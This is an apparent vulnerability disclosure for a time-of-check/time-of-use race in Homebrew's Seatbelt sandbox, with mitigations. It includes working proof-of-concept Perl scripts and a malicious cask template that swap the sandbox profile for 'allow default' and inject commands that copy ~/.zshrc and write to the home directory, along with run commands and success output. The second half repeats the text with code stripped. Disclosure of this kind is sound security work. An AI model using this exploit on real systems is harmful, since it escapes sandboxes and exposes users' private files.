Summary
Homebrew sandbox creates its Seatbelt profile file on /tmp/s-[random]/homebrew.sb and it's command instructions in the /tmp/homebrew-cask-sandbox[date]-[pid]-[random]/payload.json file. Homebrew takes the commands defined inside payload.json and runs them under the seatbelt profile defined in homebrew.sb.
Homebrew, never verifies those files are not changed between write and read, thus resulting with a TOCTOU attack (Time of check time of use).
As a result, a Sandboxed process created by Homebrew grants write permission to /tmp/, this means that one malicious sandbox may attempt to monitor and modify /tmp/ for homebrew.sb and payload.json files. More specifically, the malicious sandbox process will attempt to modify the Seatbelt profile to allow all and the payload.json file to the commands it wants to run outside the sandbox thus escaping the sandbox gaining arbitrary access to the user's files.
In addition, other product's sandboxes that grants permission to /tmp/ may escape their sandbox by monitoring the /tmp/ directory until those files are created and then attempting to modify those Homebrew's files to bypass the profile and change the payload.json file to run their own arbitrary malicious code.
Details
All references are from 7.0.1-15-g82ea9cb. The sandboxed process is created by the Library/Homebrew/sandbox.rb run function as follows:
def run(*args, passthrough_stdin: true, child_message_handler: nil, retain_tmp: false, debug: false)
Mktemp.new("sandbox", retain: retain_tmp, compact: true).run(chdir: false) do |staging|
temporary = staging.tmpdir
raise "Sandbox temporary directory is unexpectedly unset." if temporary.nil?
tmpdir = temporary.to_s
allow_write_path(tmpdir)
allow_network path: tmpdir, type: :subpath
@start = T.let(Time.now, T.nilable(Time))
begin
command = sandbox_command(args, tmpdir)
... <--- Time for attacker to attempt to change the profile configuration file
exec(env, *command, in: worker, out: worker, err: worker) # And map everything to the PTY.
...
Where the Mktemp.new line creates the /private/tmp/s-XXXXXXX temporary directory, the sandbox_command writes the profile to. Notice, the time between the call to sandbox_command and the call to exec is the time the attacker have to modify the homebrew.sb profile file.
Similarly, the payload.json is created by the run_cask_sandbox function and loaded by Library/Homebrew/cask_artifact.rb from inside the sandbox.
Due to this behaviour of write and then load with no verification, it is possible to modify those files, win the race and run arbitrary commands outside the sandbox.
To take advantage of this issue, one more primitive is required, we need to be able to start 2 sandboxed processes, the first one remains running in the background, waiting for the second one to run, replacing it's corresponding homebrew.sb and payload.json file with allow all in profile and our malicious command in payload.json.
Indeed, this is possible, a sandboxed process that executes fork() followed by a call to setsid() inside the child process results with a background process that outlives its parent.
From here, all we need is two consecutive sandboxed processes, the first one the monitor and the second one can be arbitrary as it would have its homebrew.sb replaced by the monitor. The second process does not need to come from the same package or even the same brew invocation - any later sandboxed brew phase on the machine works as the victim.
PoC Without Cask
To reproduce the attack escaping the sandbox, create the following two files:
daemonise.pl
use POSIX qw(setsid);
exit 0 if fork(); # parent returns at once so the phase can finish
setsid(); # new session, no controlling terminal: immune to the phase-end SIGHUP
open(STDIN, '<', '/dev/null');
# Set POC_DAEMON_LOG to keep the detached process's output for debugging;
# otherwise discard it as a real payload would.
my $out = $ENV{POC_DAEMON_LOG} || '/dev/null';
open(STDOUT, '>>', $out);
open(STDERR, '>>', $out);
exec @ARGV;
poller.pl
use strict;
use warnings;
use JSON::PP;
my ($W, $MODE, $REAL_HOME) = @ARGV;
die "usage: poller.pl <workdir> <control|attack> <real-home>\n" unless @ARGV == 3;
my $attack = $MODE eq 'attack';
my $TMP = '/private/tmp';
my $LOG = "$W/poller.log";
sub logmsg { open my $f, '>>', $LOG or return; print $f "@_\n" }
# Atomic replace via rename: the consumer never sees a partial file.
sub swap {
my ($path, $body) = @_;
(my $dir = $path) =~ s{/[^/]+$}{};
open my $o, '>', "$dir/.stage" or return 0;
print $o $body;
close $o;
rename "$dir/.stage", $path or return 0;
return 1;
}
# Replace the step list, keeping action/context/phase so
# Cask::InstallStepsContext still constructs (cask_artifact.rb:84).
sub rewrite_payload {
my ($path) = @_;
open my $f, '<', $path or return 0;
my $payload = eval { JSON::PP->new->decode(do { local $/; <$f> }) } or return 0;
$payload->{steps} = [{
type => 'run',
command => { path => '/bin/sh' },
args => ['-c', join(';',
'echo "--- injected step running, euid=$(id -u) ---"',
qq{echo escaped > "$REAL_HOME/test" && echo "WRITE-OK $REAL_HOME/test" || echo "WRITE-DENIED $REAL_HOME/test"},
qq{cp "$REAL_HOME/.zshrc" "$W/stolen-zshrc" && echo "READ-OK $REAL_HOME/.zshrc" || echo "READ-DENIED $REAL_HOME/.zshrc"},
'/usr/bin/open -a Calculator 2>/dev/null && echo "CALC-LAUNCHED" || echo "CALC-DENIED"')],
print_stdout => JSON::PP::true,
}];
return 0 unless swap $path, JSON::PP->new->canonical->encode($payload);
logmsg "rewrote $path (phase=" . ($payload->{phase} // '?') . ")";
return 1;
}
sub replace_profile {
my ($path) = @_;
return 0 unless swap $path, "(version 1)\n(allow default)\n";
logmsg "replaced $path with (allow default)";
return 1;
}
# Ignore our own phase's dirs; only dirs created after arming are targets.
my @pre = (glob("$TMP/homebrew-cask-sandbox*"), glob("$TMP/homebrew-sandbox*"), glob("$TMP/s-*"));
my %seen = map { $_ => 1 } @pre;
logmsg "armed mode=$MODE pid=$$ ppid=" . getppid() . ", ignoring " . @pre . " pre-existing dirs";
my ($payload_ok, $profile_ok, $polls) = (0, $attack ? 0 : 1, 0);
my $deadline = time + 180;
# Busy-poll: the homebrew.sb window closes at sandbox-exec's read, so no sleep.
while (time < $deadline && !($payload_ok && $profile_ok)) {
$polls++;
if (!$payload_ok) {
for my $d (glob("$TMP/homebrew-cask-sandbox*")) {
next if $seen{$d} || !-s "$d/payload.json";
last if $payload_ok = rewrite_payload "$d/payload.json";
}
}
if ($attack && !$profile_ok) {
for my $d (glob("$TMP/homebrew-sandbox*"), glob("$TMP/s-*")) {
next if $seen{$d} || !-s "$d/homebrew.sb";
last if $profile_ok = replace_profile "$d/homebrew.sb";
}
}
}
logmsg "done after $polls polls: payload=$payload_ok profile=$profile_ok"
Running the attack Using the brew sandbox-exec command, this command doesn't create the payload.json file which is created only by the cask, but it shows that the profile can be easily modified. Before running make sure ~/test file doesn't exist in your home directory:
W=/private/tmp/sbx # under HOMEBREW_TEMP, so the sandboxed phases may write here
mkdir -p $W/writable
cp daemonise.pl poller.pl $W/ # absolute paths are required below: the sandboxed
# command runs with its cwd changed to the writable path
cat > $W/probe.sh <<'EOF'
echo "--- victim phase running, euid=$(id -u) ---"
echo escaped > "$HOME/test" && echo "WRITE-OK $HOME/test" || echo "WRITE-DENIED $HOME/test"
cp "$HOME/.zshrc" /private/tmp/sbx/stolen-zshrc && echo "READ-OK $HOME/.zshrc" || echo "READ-DENIED $HOME/.zshrc"
open -a Calculator 2>/dev/null && echo "CALC-LAUNCHED" || echo "CALC-DENIED"
echo ctl-ok > /private/tmp/sbx/ctl-ok && echo "CTL-OK (positive control)"
EOF
# attack:
rm -f "$HOME/test" $W/stolen-zshrc $W/poller.log $W/daemon.log
POC_DAEMON_LOG=$W/daemon.log brew sandbox-exec $W/writable -- \
/usr/bin/perl $W/daemonise.pl /usr/bin/perl $W/poller.pl $W attack "$HOME"
brew sandbox-exec $W/writable -- /bin/sh $W/probe.sh
cat $W/poller.log
pkill -f poller.pl
Attack success output:
WRITE-OK ~/test, READ-OK ~/.zshrc, CALC-LAUNCHED, CTL-OK
poller.log: replaced /private/tmp/s-XXXXXXXX/homebrew.sb with (allow default)
Notes:
- After running the POC run
pkill -f poller.pl: without a cask no payload.json ever appears, so the poller would keep polling until its 180s deadline.
- Swapping the payload.json is not demonstrated in this POC without cask.
- Notice that simply running
brew sandbox-exec $W/writable -- /bin/sh $W/probe.sh doesn't open a calculator and doesn't create the test file which are denied under the sandbox.
PoC With Cask
In this section, we show how it is possible to escape the sandbox with a cask by starting two sandboxed processes, one is the poller from the before and the second one is arbitrary and will be modified by the poller during runtime.
Create a third file sbtest-race.rb.tpl next to daemonise.pl and poller.pl:
cask "sbtest-race" do
version "1.0.0"
sha256 "@SHA256@"
url "@URL@"
name "Sandbox Two-Phase Race"
desc "Local cask demonstrating a sandbox profile race between two install phases"
homepage "https://example.invalid/sbtest-race"
# Phase 1: plant the poller. {{staged_path}} is where brew extracted the zip.
preflight_steps do
run "/bin/sh",
args: ["-c",
"/usr/bin/perl {{staged_path}}/daemonise.pl " \
"/usr/bin/perl {{staged_path}}/poller.pl @W@ @MODE@ @HOME@"],
env: { "POC_DAEMON_LOG" => "@W@/daemon.log" },
print_stdout: true
end
# Phase 2: the victim. The poller replaces this step in payload.json before
# the sandboxed child reads it, so this benign echo never executes.
postflight_steps do
run "/bin/echo",
args: ["benign postflight step: this is all the cask actually declares"],
print_stdout: true
end
end
Then, from the directory containing the three files, install the cask:
TAP=$(brew --repo)/Library/Taps/sbrace/homebrew-poc
mkdir -p $TAP/Casks /private/tmp/sbrace # a tap is just a directory
zip -q -X /private/tmp/sbrace/race.zip daemonise.pl poller.pl
SHA=$(shasum -a 256 /private/tmp/sbrace/race.zip | awk '{print $1}')
sed -e "s|@SHA256@|$SHA|" -e "s|@URL@|file:///private/tmp/sbrace/race.zip|" \
-e "s|@MODE@|attack|" -e "s|@W@|/private/tmp/sbrace|g" -e "s|@HOME@|$HOME|g" \
sbtest-race.rb.tpl > $TAP/Casks/sbtest-race.rb
rm -f "$HOME/test" /private/tmp/sbrace/poller.log /private/tmp/sbrace/daemon.log /private/tmp/sbrace/stolen-zshrc
brew trust --cask sbrace/poc/sbtest-race
brew install --cask sbrace/poc/sbtest-race
cat /private/tmp/sbrace/poller.log
The brew install --cask command runs two consecutive sandboxed phases: preflight_steps plants the poller, postflight_steps is the victim. The poller rewrites the victim's payload.json step list and swaps its homebrew.sb, so the command that actually runs in the second sandbox uses an allow all seatbelt profile and runs the injected code instead of the cask's declared step.
Attack success output:
armed mode=attack pid=... ppid=1, ignoring 2 pre-existing dirs
rewrote /private/tmp/homebrew-cask-sandbox[date]-[pid]-[rand]/payload.json (phase=install)
replaced /private/tmp/s-XXXXXXXX/homebrew.sb with (allow default)
done after N polls: payload=1 profile=1
Notes:
- Cleanup:
brew uninstall --cask sbrace/poc/sbtest-race --force && rm -f "$TAP/Casks/sbtest-race.rb" "$HOME/test" && rm -rf /private/tmp/sbrace
Impact
- Full sandbox escape as the invoking user. Every path explicitly denied (e.g., ~/.ssh, ~/.aws) is accessible. Every path the invoking user have access two becomes writeable. It also bypass the deny mach-lookup rules and any other rules originally created in the Seatbelt profile.
- Homebrew may be used as a confused deputy: any other product that grants write permissions to /tmp/ can plant the poller and escape through the next brew command that calls
run_cask_sandbox. This is how I originally found the issue - I noticed /tmp/ is granted to my researched product and monitored the directory using fswatch identifying the homebrew files that were created and deleted during an upgrade.
Suggested Mitigations
- Don't write homebrew.sb Seatbelt profile to disk. Instead, pass the profile to sandbox-exec command using the -p argument. This change will make sure that nothing can modify the Sandbox profile.
- Don't write
payload.json to disk and then load it. Instead pass it as an argument to the sandboxed process.
AI Usage Disclosure
All scripts used for the POCs were created using AI and verified manually.
Summary
Homebrew sandbox creates its Seatbelt profile file on /tmp/s-[random]/homebrew.sb and it's command instructions in the /tmp/homebrew-cask-sandbox[date]-[pid]-[random]/payload.json file. Homebrew takes the commands defined inside payload.json and runs them under the seatbelt profile defined in homebrew.sb.
Homebrew, never verifies those files are not changed between write and read, thus resulting with a TOCTOU attack (Time of check time of use).
As a result, a Sandboxed process created by Homebrew grants write permission to /tmp/, this means that one malicious sandbox may attempt to monitor and modify /tmp/ for homebrew.sb and payload.json files. More specifically, the malicious sandbox process will attempt to modify the Seatbelt profile to allow all and the payload.json file to the commands it wants to run outside the sandbox thus escaping the sandbox gaining arbitrary access to the user's files.
In addition, other product's sandboxes that grants permission to /tmp/ may escape their sandbox by monitoring the /tmp/ directory until those files are created and then attempting to modify those Homebrew's files to bypass the profile and change the payload.json file to run their own arbitrary malicious code.
Details
All references are from 7.0.1-15-g82ea9cb. The sandboxed process is created by the
Library/Homebrew/sandbox.rbrun function as follows:Where the
Mktemp.newline creates the/private/tmp/s-XXXXXXXtemporary directory, thesandbox_commandwrites the profile to. Notice, the time between the call tosandbox_commandand the call toexecis the time the attacker have to modify the homebrew.sb profile file.Similarly, the payload.json is created by the
run_cask_sandboxfunction and loaded byLibrary/Homebrew/cask_artifact.rbfrom inside the sandbox.Due to this behaviour of write and then load with no verification, it is possible to modify those files, win the race and run arbitrary commands outside the sandbox.
To take advantage of this issue, one more primitive is required, we need to be able to start 2 sandboxed processes, the first one remains running in the background, waiting for the second one to run, replacing it's corresponding homebrew.sb and payload.json file with allow all in profile and our malicious command in payload.json.
Indeed, this is possible, a sandboxed process that executes fork() followed by a call to setsid() inside the child process results with a background process that outlives its parent.
From here, all we need is two consecutive sandboxed processes, the first one the monitor and the second one can be arbitrary as it would have its
homebrew.sbreplaced by the monitor. The second process does not need to come from the same package or even the same brew invocation - any later sandboxed brew phase on the machine works as the victim.PoC Without Cask
To reproduce the attack escaping the sandbox, create the following two files:
daemonise.plpoller.plRunning the attack Using the
brew sandbox-execcommand, this command doesn't create the payload.json file which is created only by the cask, but it shows that the profile can be easily modified. Before running make sure ~/test file doesn't exist in your home directory:Attack success output:
Notes:
pkill -f poller.pl: without a cask no payload.json ever appears, so the poller would keep polling until its 180s deadline.brew sandbox-exec $W/writable -- /bin/sh $W/probe.shdoesn't open a calculator and doesn't create the test file which are denied under the sandbox.PoC With Cask
In this section, we show how it is possible to escape the sandbox with a cask by starting two sandboxed processes, one is the poller from the before and the second one is arbitrary and will be modified by the poller during runtime.
Create a third file
sbtest-race.rb.tplnext todaemonise.plandpoller.pl:Then, from the directory containing the three files, install the cask:
The
brew install --caskcommand runs two consecutive sandboxed phases:preflight_stepsplants the poller,postflight_stepsis the victim. The poller rewrites the victim's payload.json step list and swaps its homebrew.sb, so the command that actually runs in the second sandbox uses an allow all seatbelt profile and runs the injected code instead of the cask's declared step.Attack success output:
Notes:
brew uninstall --cask sbrace/poc/sbtest-race --force && rm -f "$TAP/Casks/sbtest-race.rb" "$HOME/test" && rm -rf /private/tmp/sbraceImpact
run_cask_sandbox. This is how I originally found the issue - I noticed /tmp/ is granted to my researched product and monitored the directory usingfswatchidentifying the homebrew files that were created and deleted during an upgrade.Suggested Mitigations
payload.jsonto disk and then load it. Instead pass it as an argument to the sandboxed process.AI Usage Disclosure
All scripts used for the POCs were created using AI and verified manually.